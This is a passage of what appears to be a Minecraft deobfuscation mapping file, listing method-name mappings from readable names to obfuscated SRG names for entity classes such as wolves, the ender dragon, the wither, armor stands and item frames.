net/minecraft/entity/passive/EntityWolf/getEyeHeight ()F net/minecraft/entity/passive/EntityWolf/func_70047_e ()F +MD: net/minecraft/entity/passive/EntityWolf/applyEntityAttributes ()V net/minecraft/entity/passive/EntityWolf/func_110147_ax ()V +MD: net/minecraft/entity/passive/EntityWolf/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityWolf/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityWolf/createChild (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityWolf; net/minecraft/entity/passive/EntityWolf/func_90011_a (Lnet/minecraft/entity/EntityAgeable;)Lnet/minecraft/entity/passive/EntityWolf; +MD: net/minecraft/entity/passive/EntityWolf/getSoundVolume ()F net/minecraft/entity/passive/EntityWolf/func_70599_aP ()F +MD: net/minecraft/entity/passive/EntityWolf/getVerticalFaceSpeed ()I net/minecraft/entity/passive/EntityWolf/func_70646_bf ()I +MD: net/minecraft/entity/passive/EntityWolf/getMaxSpawnedInChunk ()I net/minecraft/entity/passive/EntityWolf/func_70641_bl ()I +MD: net/minecraft/entity/passive/EntityWolf/getHurtSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityWolf/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityWolf/getDeathSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityWolf/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityWolf/allowLeashing ()Z net/minecraft/entity/passive/EntityWolf/func_110164_bC ()Z +MD: net/minecraft/entity/passive/EntityWolf/isWolfWet ()Z net/minecraft/entity/passive/EntityWolf/func_70921_u ()Z +MD: net/minecraft/entity/passive/EntityWolf/getTailRotation ()F net/minecraft/entity/passive/EntityWolf/func_70920_v ()F +MD: net/minecraft/entity/passive/EntityWolf/isAngry ()Z net/minecraft/entity/passive/EntityWolf/func_70919_bu ()Z +MD: net/minecraft/entity/passive/EntityWolf/getCollarColor ()Lnet/minecraft/item/EnumDyeColor; net/minecraft/entity/passive/EntityWolf/func_175546_cu ()Lnet/minecraft/item/EnumDyeColor; +MD: net/minecraft/entity/passive/EntityWolf/isBegging ()Z net/minecraft/entity/passive/EntityWolf/func_70922_bv ()Z +MD: net/minecraft/entity/passive/EntityWolf/setAttackTarget (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/passive/EntityWolf/func_70624_b (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/passive/EntityWolf/isBreedingItem (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/passive/EntityWolf/func_70877_b (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/passive/EntityWolf/entityInit ()V net/minecraft/entity/passive/EntityWolf/func_70088_a ()V +MD: net/minecraft/entity/passive/EntityWolf/getShakeAngle (FF)F net/minecraft/entity/passive/EntityWolf/func_70923_f (FF)F +MD: net/minecraft/entity/passive/EntityWolf/onLivingUpdate ()V net/minecraft/entity/passive/EntityWolf/func_70636_d ()V +MD: net/minecraft/entity/passive/EntityWolf/setTamed (Z)V net/minecraft/entity/passive/EntityWolf/func_70903_f (Z)V +MD: net/minecraft/entity/passive/EntityWolf/setAngry (Z)V net/minecraft/entity/passive/EntityWolf/func_70916_h (Z)V +MD: net/minecraft/entity/passive/EntityWolf/getShadingWhileWet (F)F net/minecraft/entity/passive/EntityWolf/func_70915_j (F)F +MD: net/minecraft/entity/passive/EntityWolf/setBegging (Z)V net/minecraft/entity/passive/EntityWolf/func_70918_i (Z)V +MD: net/minecraft/entity/passive/EntityWolf/getInterestedAngle (F)F net/minecraft/entity/passive/EntityWolf/func_70917_k (F)F +MD: net/minecraft/entity/passive/EntityWolf/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/passive/EntityWolf/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/passive/EntityWolf/onUpdate ()V net/minecraft/entity/passive/EntityWolf/func_70071_h_ ()V +MD: net/minecraft/entity/passive/EntityWolf/getLivingSound ()Ljava/lang/String; net/minecraft/entity/passive/EntityWolf/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/boss/IBossDisplayData/getHealth ()F net/minecraft/entity/boss/IBossDisplayData/func_110143_aJ ()F +MD: net/minecraft/entity/boss/IBossDisplayData/getMaxHealth ()F net/minecraft/entity/boss/IBossDisplayData/func_110138_aP ()F +MD: net/minecraft/entity/boss/IBossDisplayData/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/entity/boss/IBossDisplayData/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/entity/IEntityMultiPart/getWorld ()Lnet/minecraft/world/World; net/minecraft/entity/IEntityMultiPart/func_82194_d ()Lnet/minecraft/world/World; +MD: net/minecraft/entity/IEntityMultiPart/attackEntityFromPart (Lnet/minecraft/entity/boss/EntityDragonPart;Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/IEntityMultiPart/func_70965_a (Lnet/minecraft/entity/boss/EntityDragonPart;Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/boss/EntityDragonPart/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/boss/EntityDragonPart/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/boss/EntityDragonPart/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/boss/EntityDragonPart/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/boss/EntityDragonPart/canBeCollidedWith ()Z net/minecraft/entity/boss/EntityDragonPart/func_70067_L ()Z +MD: net/minecraft/entity/boss/EntityDragonPart/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/boss/EntityDragonPart/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/boss/EntityDragonPart/entityInit ()V net/minecraft/entity/boss/EntityDragonPart/func_70088_a ()V +MD: net/minecraft/entity/boss/EntityDragonPart/isEntityEqual (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/boss/EntityDragonPart/func_70028_i (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/item/EntityEnderCrystal/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityEnderCrystal/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityEnderCrystal/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/item/EntityEnderCrystal/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/item/EntityEnderCrystal/canBeCollidedWith ()Z net/minecraft/entity/item/EntityEnderCrystal/func_70067_L ()Z +MD: net/minecraft/entity/item/EntityEnderCrystal/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityEnderCrystal/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityEnderCrystal/entityInit ()V net/minecraft/entity/item/EntityEnderCrystal/func_70088_a ()V +MD: net/minecraft/entity/item/EntityEnderCrystal/canTriggerWalking ()Z net/minecraft/entity/item/EntityEnderCrystal/func_70041_e_ ()Z +MD: net/minecraft/entity/item/EntityEnderCrystal/onUpdate ()V net/minecraft/entity/item/EntityEnderCrystal/func_70071_h_ ()V +MD: net/minecraft/entity/boss/EntityDragon/despawnEntity ()V net/minecraft/entity/boss/EntityDragon/func_70623_bb ()V +MD: net/minecraft/entity/boss/EntityDragon/onKillCommand ()V net/minecraft/entity/boss/EntityDragon/func_174812_G ()V +MD: net/minecraft/entity/boss/EntityDragon/getWorld ()Lnet/minecraft/world/World; net/minecraft/entity/boss/EntityDragon/func_82194_d ()Lnet/minecraft/world/World; +MD: net/minecraft/entity/boss/EntityDragon/generatePortal (Lnet/minecraft/util/BlockPos;)V net/minecraft/entity/boss/EntityDragon/func_175499_a (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/entity/boss/EntityDragon/collideWithEntities (Ljava/util/List;)V net/minecraft/entity/boss/EntityDragon/func_70970_a (Ljava/util/List;)V +MD: net/minecraft/entity/boss/EntityDragon/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/boss/EntityDragon/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/boss/EntityDragon/attackEntityFromPart (Lnet/minecraft/entity/boss/EntityDragonPart;Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/boss/EntityDragon/func_70965_a (Lnet/minecraft/entity/boss/EntityDragonPart;Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/boss/EntityDragon/getParts ()[Lnet/minecraft/entity/Entity; net/minecraft/entity/boss/EntityDragon/func_70021_al ()[Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/boss/EntityDragon/applyEntityAttributes ()V net/minecraft/entity/boss/EntityDragon/func_110147_ax ()V +MD: net/minecraft/entity/boss/EntityDragon/onDeathUpdate ()V net/minecraft/entity/boss/EntityDragon/func_70609_aI ()V +MD: net/minecraft/entity/boss/EntityDragon/canBeCollidedWith ()Z net/minecraft/entity/boss/EntityDragon/func_70067_L ()Z +MD: net/minecraft/entity/boss/EntityDragon/simplifyAngle (D)F net/minecraft/entity/boss/EntityDragon/func_70973_b (D)F +MD: net/minecraft/entity/boss/EntityDragon/getMovementOffsets (IF)[D net/minecraft/entity/boss/EntityDragon/func_70974_a (IF)[D +MD: net/minecraft/entity/boss/EntityDragon/destroyBlocksInAABB (Lnet/minecraft/util/AxisAlignedBB;)Z net/minecraft/entity/boss/EntityDragon/func_70972_a (Lnet/minecraft/util/AxisAlignedBB;)Z +MD: net/minecraft/entity/boss/EntityDragon/attackEntitiesInList (Ljava/util/List;)V net/minecraft/entity/boss/EntityDragon/func_70971_b (Ljava/util/List;)V +MD: net/minecraft/entity/boss/EntityDragon/getSoundVolume ()F net/minecraft/entity/boss/EntityDragon/func_70599_aP ()F +MD: net/minecraft/entity/boss/EntityDragon/getHurtSound ()Ljava/lang/String; net/minecraft/entity/boss/EntityDragon/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/boss/EntityDragon/setNewTarget ()V net/minecraft/entity/boss/EntityDragon/func_70967_k ()V +MD: net/minecraft/entity/boss/EntityDragon/attackDragonFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/boss/EntityDragon/func_82195_e (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/boss/EntityDragon/entityInit ()V net/minecraft/entity/boss/EntityDragon/func_70088_a ()V +MD: net/minecraft/entity/boss/EntityDragon/onLivingUpdate ()V net/minecraft/entity/boss/EntityDragon/func_70636_d ()V +MD: net/minecraft/entity/boss/EntityDragon/updateDragonEnderCrystal ()V net/minecraft/entity/boss/EntityDragon/func_70969_j ()V +MD: net/minecraft/entity/boss/EntityDragon/getLivingSound ()Ljava/lang/String; net/minecraft/entity/boss/EntityDragon/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/boss/EntityWither$1/apply (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/boss/EntityWither$1/apply (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/boss/EntityWither$1/apply (Ljava/lang/Object;)Z net/minecraft/entity/boss/EntityWither$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/entity/boss/EntityWither/despawnEntity ()V net/minecraft/entity/boss/EntityWither/func_70623_bb ()V +MD: net/minecraft/entity/boss/EntityWither/updateAITasks ()V net/minecraft/entity/boss/EntityWither/func_70619_bc ()V +MD: net/minecraft/entity/boss/EntityWither/func_82207_a (I)F net/minecraft/entity/boss/EntityWither/func_82207_a (I)F +MD: net/minecraft/entity/boss/EntityWither/launchWitherSkullToCoords (IDDDZ)V net/minecraft/entity/boss/EntityWither/func_82209_a (IDDDZ)V +MD: net/minecraft/entity/boss/EntityWither/launchWitherSkullToEntity (ILnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/boss/EntityWither/func_82216_a (ILnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/boss/EntityWither/canDestroyBlock (Lnet/minecraft/block/Block;)Z net/minecraft/entity/boss/EntityWither/func_181033_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/entity/boss/EntityWither/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/boss/EntityWither/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/boss/EntityWither/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/boss/EntityWither/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/boss/EntityWither/mountEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/boss/EntityWither/func_70078_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/boss/EntityWither/attackEntityWithRangedAttack (Lnet/minecraft/entity/EntityLivingBase;F)V net/minecraft/entity/boss/EntityWither/func_82196_d (Lnet/minecraft/entity/EntityLivingBase;F)V +MD: net/minecraft/entity/boss/EntityWither/setInWeb ()V net/minecraft/entity/boss/EntityWither/func_70110_aj ()V +MD: net/minecraft/entity/boss/EntityWither/applyEntityAttributes ()V net/minecraft/entity/boss/EntityWither/func_110147_ax ()V +MD: net/minecraft/entity/boss/EntityWither/getBrightnessForRender (F)I net/minecraft/entity/boss/EntityWither/func_70070_b (F)I +MD: net/minecraft/entity/boss/EntityWither/func_82204_b (FFF)F net/minecraft/entity/boss/EntityWither/func_82204_b (FFF)F +MD: net/minecraft/entity/boss/EntityWither/func_82210_r (I)F net/minecraft/entity/boss/EntityWither/func_82210_r (I)F +MD: net/minecraft/entity/boss/EntityWither/updateWatchedTargetId (II)V net/minecraft/entity/boss/EntityWither/func_82211_c (II)V +MD: net/minecraft/entity/boss/EntityWither/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/boss/EntityWither/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/boss/EntityWither/dropFewItems (ZI)V net/minecraft/entity/boss/EntityWither/func_70628_a (ZI)V +MD: net/minecraft/entity/boss/EntityWither/getHurtSound ()Ljava/lang/String; net/minecraft/entity/boss/EntityWither/func_70621_aR ()Ljava/lang/String; +MD: net/minecraft/entity/boss/EntityWither/getDeathSound ()Ljava/lang/String; net/minecraft/entity/boss/EntityWither/func_70673_aS ()Ljava/lang/String; +MD: net/minecraft/entity/boss/EntityWither/getTotalArmorValue ()I net/minecraft/entity/boss/EntityWither/func_70658_aO ()I +MD: net/minecraft/entity/boss/EntityWither/getCreatureAttribute ()Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/boss/EntityWither/func_70668_bt ()Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/boss/EntityWither/addPotionEffect (Lnet/minecraft/potion/PotionEffect;)V net/minecraft/entity/boss/EntityWither/func_70690_d (Lnet/minecraft/potion/PotionEffect;)V +MD: net/minecraft/entity/boss/EntityWither/getInvulTime ()I net/minecraft/entity/boss/EntityWither/func_82212_n ()I +MD: net/minecraft/entity/boss/EntityWither/isArmored ()Z net/minecraft/entity/boss/EntityWither/func_82205_o ()Z +MD: net/minecraft/entity/boss/EntityWither/fall (FF)V net/minecraft/entity/boss/EntityWither/func_180430_e (FF)V +MD: net/minecraft/entity/boss/EntityWither/entityInit ()V net/minecraft/entity/boss/EntityWither/func_70088_a ()V +MD: net/minecraft/entity/boss/EntityWither/onLivingUpdate ()V net/minecraft/entity/boss/EntityWither/func_70636_d ()V +MD: net/minecraft/entity/boss/EntityWither/func_82206_m ()V net/minecraft/entity/boss/EntityWither/func_82206_m ()V +MD: net/minecraft/entity/boss/EntityWither/setInvulTime (I)V net/minecraft/entity/boss/EntityWither/func_82215_s (I)V +MD: net/minecraft/entity/boss/EntityWither/getWatchedTargetId (I)I net/minecraft/entity/boss/EntityWither/func_82203_t (I)I +MD: net/minecraft/entity/boss/EntityWither/func_82214_u (I)D net/minecraft/entity/boss/EntityWither/func_82214_u (I)D +MD: net/minecraft/entity/boss/EntityWither/func_82208_v (I)D net/minecraft/entity/boss/EntityWither/func_82208_v (I)D +MD: net/minecraft/entity/boss/EntityWither/func_82213_w (I)D net/minecraft/entity/boss/EntityWither/func_82213_w (I)D +MD: net/minecraft/entity/boss/EntityWither/getLivingSound ()Ljava/lang/String; net/minecraft/entity/boss/EntityWither/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/item/EntityArmorStand/playParticles ()V net/minecraft/entity/item/EntityArmorStand/func_175412_z ()V +MD: net/minecraft/entity/item/EntityArmorStand/updatePotionMetadata ()V net/minecraft/entity/item/EntityArmorStand/func_175135_B ()V +MD: net/minecraft/entity/item/EntityArmorStand/dropBlock ()V net/minecraft/entity/item/EntityArmorStand/func_175421_A ()V +MD: net/minecraft/entity/item/EntityArmorStand/dropContents ()V net/minecraft/entity/item/EntityArmorStand/func_175409_C ()V +MD: net/minecraft/entity/item/EntityArmorStand/onKillCommand ()V net/minecraft/entity/item/EntityArmorStand/func_174812_G ()V +MD: net/minecraft/entity/item/EntityArmorStand/isInRangeToRenderDist (D)Z net/minecraft/entity/item/EntityArmorStand/func_70112_a (D)Z +MD: net/minecraft/entity/item/EntityArmorStand/damageArmorStand (F)V net/minecraft/entity/item/EntityArmorStand/func_175406_a (F)V +MD: net/minecraft/entity/item/EntityArmorStand/setHeadRotation (Lnet/minecraft/util/Rotations;)V net/minecraft/entity/item/EntityArmorStand/func_175415_a (Lnet/minecraft/util/Rotations;)V +MD: net/minecraft/entity/item/EntityArmorStand/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityArmorStand/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityArmorStand/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/item/EntityArmorStand/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/item/EntityArmorStand/func_175422_a (Lnet/minecraft/entity/player/EntityPlayer;I)V net/minecraft/entity/item/EntityArmorStand/func_175422_a (Lnet/minecraft/entity/player/EntityPlayer;I)V +MD: net/minecraft/entity/item/EntityArmorStand/interactAt (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/Vec3;)Z net/minecraft/entity/item/EntityArmorStand/func_174825_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/entity/item/EntityArmorStand/func_181550_a (Z)V net/minecraft/entity/item/EntityArmorStand/func_181550_a (Z)V +MD: net/minecraft/entity/item/EntityArmorStand/getEyeHeight ()F net/minecraft/entity/item/EntityArmorStand/func_70047_e ()F +MD: net/minecraft/entity/item/EntityArmorStand/isImmuneToExplosions ()Z net/minecraft/entity/item/EntityArmorStand/func_180427_aV ()Z +MD: net/minecraft/entity/item/EntityArmorStand/canBeCollidedWith ()Z net/minecraft/entity/item/EntityArmorStand/func_70067_L ()Z +MD: net/minecraft/entity/item/EntityArmorStand/canBePushed ()Z net/minecraft/entity/item/EntityArmorStand/func_70104_M ()Z +MD: net/minecraft/entity/item/EntityArmorStand/getInventory ()[Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityArmorStand/func_70035_c ()[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityArmorStand/setBodyRotation (Lnet/minecraft/util/Rotations;)V net/minecraft/entity/item/EntityArmorStand/func_175424_b (Lnet/minecraft/util/Rotations;)V +MD: net/minecraft/entity/item/EntityArmorStand/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityArmorStand/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityArmorStand/getHeldItem ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityArmorStand/func_70694_bm ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityArmorStand/collideWithNearbyEntities ()V net/minecraft/entity/item/EntityArmorStand/func_85033_bc ()V +MD: net/minecraft/entity/item/EntityArmorStand/isServerWorld ()Z net/minecraft/entity/item/EntityArmorStand/func_70613_aW ()Z +MD: net/minecraft/entity/item/EntityArmorStand/setCurrentItemOrArmor (ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/item/EntityArmorStand/func_70062_b (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/item/EntityArmorStand/setLeftArmRotation (Lnet/minecraft/util/Rotations;)V net/minecraft/entity/item/EntityArmorStand/func_175405_c (Lnet/minecraft/util/Rotations;)V +MD: net/minecraft/entity/item/EntityArmorStand/replaceItemInInventory (ILnet/minecraft/item/ItemStack;)Z net/minecraft/entity/item/EntityArmorStand/func_174820_d (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/item/EntityArmorStand/setRightArmRotation (Lnet/minecraft/util/Rotations;)V net/minecraft/entity/item/EntityArmorStand/func_175428_d (Lnet/minecraft/util/Rotations;)V +MD: net/minecraft/entity/item/EntityArmorStand/setLeftLegRotation (Lnet/minecraft/util/Rotations;)V net/minecraft/entity/item/EntityArmorStand/func_175417_e (Lnet/minecraft/util/Rotations;)V +MD: net/minecraft/entity/item/EntityArmorStand/setInvisible (Z)V net/minecraft/entity/item/EntityArmorStand/func_82142_c (Z)V +MD: net/minecraft/entity/item/EntityArmorStand/setRightLegRotation (Lnet/minecraft/util/Rotations;)V net/minecraft/entity/item/EntityArmorStand/func_175427_f (Lnet/minecraft/util/Rotations;)V +MD: net/minecraft/entity/item/EntityArmorStand/moveEntityWithHeading (FF)V net/minecraft/entity/item/EntityArmorStand/func_70612_e (FF)V +MD: net/minecraft/entity/item/EntityArmorStand/entityInit ()V net/minecraft/entity/item/EntityArmorStand/func_70088_a ()V +MD: net/minecraft/entity/item/EntityArmorStand/updateDistance (FF)F net/minecraft/entity/item/EntityArmorStand/func_110146_f (FF)F +MD: net/minecraft/entity/item/EntityArmorStand/writePoseToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityArmorStand/func_175416_h (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/item/EntityArmorStand/setSmall (Z)V net/minecraft/entity/item/EntityArmorStand/func_175420_a (Z)V +MD: net/minecraft/entity/item/EntityArmorStand/isChild ()Z net/minecraft/entity/item/EntityArmorStand/func_70631_g_ ()Z +MD: net/minecraft/entity/item/EntityArmorStand/setNoGravity (Z)V net/minecraft/entity/item/EntityArmorStand/func_175425_j (Z)V +MD: net/minecraft/entity/item/EntityArmorStand/setShowArms (Z)V net/minecraft/entity/item/EntityArmorStand/func_175413_k (Z)V +MD: net/minecraft/entity/item/EntityArmorStand/setNoBasePlate (Z)V net/minecraft/entity/item/EntityArmorStand/func_175426_l (Z)V +MD: net/minecraft/entity/item/EntityArmorStand/isSmall ()Z net/minecraft/entity/item/EntityArmorStand/func_175410_n ()Z +MD: net/minecraft/entity/item/EntityArmorStand/setMarker (Z)V net/minecraft/entity/item/EntityArmorStand/func_181027_m (Z)V +MD: net/minecraft/entity/item/EntityArmorStand/hasNoGravity ()Z net/minecraft/entity/item/EntityArmorStand/func_175423_p ()Z +MD: net/minecraft/entity/item/EntityArmorStand/getEquipmentInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityArmorStand/func_71124_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityArmorStand/getShowArms ()Z net/minecraft/entity/item/EntityArmorStand/func_175402_q ()Z +MD: net/minecraft/entity/item/EntityArmorStand/getCurrentArmor (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/item/EntityArmorStand/func_82169_q (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/item/EntityArmorStand/hasNoBasePlate ()Z net/minecraft/entity/item/EntityArmorStand/func_175414_r ()Z +MD: net/minecraft/entity/item/EntityArmorStand/hasMarker ()Z net/minecraft/entity/item/EntityArmorStand/func_181026_s ()Z +MD: net/minecraft/entity/item/EntityArmorStand/collideWithEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/item/EntityArmorStand/func_82167_n (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/item/EntityArmorStand/getHeadRotation ()Lnet/minecraft/util/Rotations; net/minecraft/entity/item/EntityArmorStand/func_175418_s ()Lnet/minecraft/util/Rotations; +MD: net/minecraft/entity/item/EntityArmorStand/onUpdate ()V net/minecraft/entity/item/EntityArmorStand/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityArmorStand/getBodyRotation ()Lnet/minecraft/util/Rotations; net/minecraft/entity/item/EntityArmorStand/func_175408_t ()Lnet/minecraft/util/Rotations; +MD: net/minecraft/entity/item/EntityArmorStand/getLeftArmRotation ()Lnet/minecraft/util/Rotations; net/minecraft/entity/item/EntityArmorStand/func_175404_u ()Lnet/minecraft/util/Rotations; +MD: net/minecraft/entity/item/EntityArmorStand/getRightArmRotation ()Lnet/minecraft/util/Rotations; net/minecraft/entity/item/EntityArmorStand/func_175411_v ()Lnet/minecraft/util/Rotations; +MD: net/minecraft/entity/item/EntityArmorStand/getLeftLegRotation ()Lnet/minecraft/util/Rotations; net/minecraft/entity/item/EntityArmorStand/func_175403_w ()Lnet/minecraft/util/Rotations; +MD: net/minecraft/entity/item/EntityArmorStand/getRightLegRotation ()Lnet/minecraft/util/Rotations; net/minecraft/entity/item/EntityArmorStand/func_175407_x ()Lnet/minecraft/util/Rotations; +MD: net/minecraft/entity/item/EntityArmorStand/readPoseFromNBT ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/entity/item/EntityArmorStand/func_175419_y ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/entity/EntityHanging/func_174858_a (I)D net/minecraft/entity/EntityHanging/func_174858_a (I)D +MD: net/minecraft/entity/EntityHanging/updateFacingWithBoundingBox (Lnet/minecraft/util/EnumFacing;)V net/minecraft/entity/EntityHanging/func_174859_a (Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/entity/EntityHanging/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityHanging/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityHanging/attackEntityFrom (Lnet/minecraft/util/DamageSource;F)Z net/minecraft/entity/EntityHanging/func_70097_a (Lnet/minecraft/util/DamageSource;F)Z +MD: net/minecraft/entity/EntityHanging/getHorizontalFacing ()Lnet/minecraft/util/EnumFacing; net/minecraft/entity/EntityHanging/func_174811_aO ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/entity/EntityHanging/canBeCollidedWith ()Z net/minecraft/entity/EntityHanging/func_70067_L ()Z +MD: net/minecraft/entity/EntityHanging/shouldSetPosAfterLoading ()Z net/minecraft/entity/EntityHanging/func_142008_O ()Z +MD: net/minecraft/entity/EntityHanging/setPosition (DDD)V net/minecraft/entity/EntityHanging/func_70107_b (DDD)V +MD: net/minecraft/entity/EntityHanging/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityHanging/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityHanging/onBroken (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/EntityHanging/func_110128_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/EntityHanging/moveEntity (DDD)V net/minecraft/entity/EntityHanging/func_70091_d (DDD)V +MD: net/minecraft/entity/EntityHanging/addVelocity (DDD)V net/minecraft/entity/EntityHanging/func_70024_g (DDD)V +MD: net/minecraft/entity/EntityHanging/entityInit ()V net/minecraft/entity/EntityHanging/func_70088_a ()V +MD: net/minecraft/entity/EntityHanging/onValidSurface ()Z net/minecraft/entity/EntityHanging/func_70518_d ()Z +MD: net/minecraft/entity/EntityHanging/getWidthPixels ()I net/minecraft/entity/EntityHanging/func_82329_d ()I +MD: net/minecraft/entity/EntityHanging/hitByEntity (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/EntityHanging/func_85031_j (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/EntityHanging/getHeightPixels ()I net/minecraft/entity/EntityHanging/func_82330_g ()I +MD: net/minecraft/entity/EntityHanging/getHangingPosition ()Lnet/minecraft/util/BlockPos; net/minecraft/entity/EntityHanging/func_174857_n ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/entity/EntityHanging/updateBoundingBox ()V net/minecraft/entity/EntityHanging/func_174856_o ()V +MD: net/minecraft/entity/EntityHanging/onUpdate ()V net/minecraft/entity/EntityHanging/func_70071_h_ ()V +MD: net/minecraft/entity/item/EntityItemFrame/isInRangeToRenderDist (D)Z net/minecraft/entity/item/EntityItemFrame/func_70112_a (D)Z +MD: net/minecraft/entity/item/EntityItemFrame/setItemRotation (I)V net/minecraft/entity/item/EntityItemFrame/func_82336_g (I)V +MD: net/minecraft/entity/item/EntityItemFrame/func_174865_a (IZ)V net/minecraft/entity/item/EntityItemFrame/func_174865_a (IZ)V +MD: net/minecraft/entity/item/EntityItemFrame/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/item/EntityItemFrame/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: 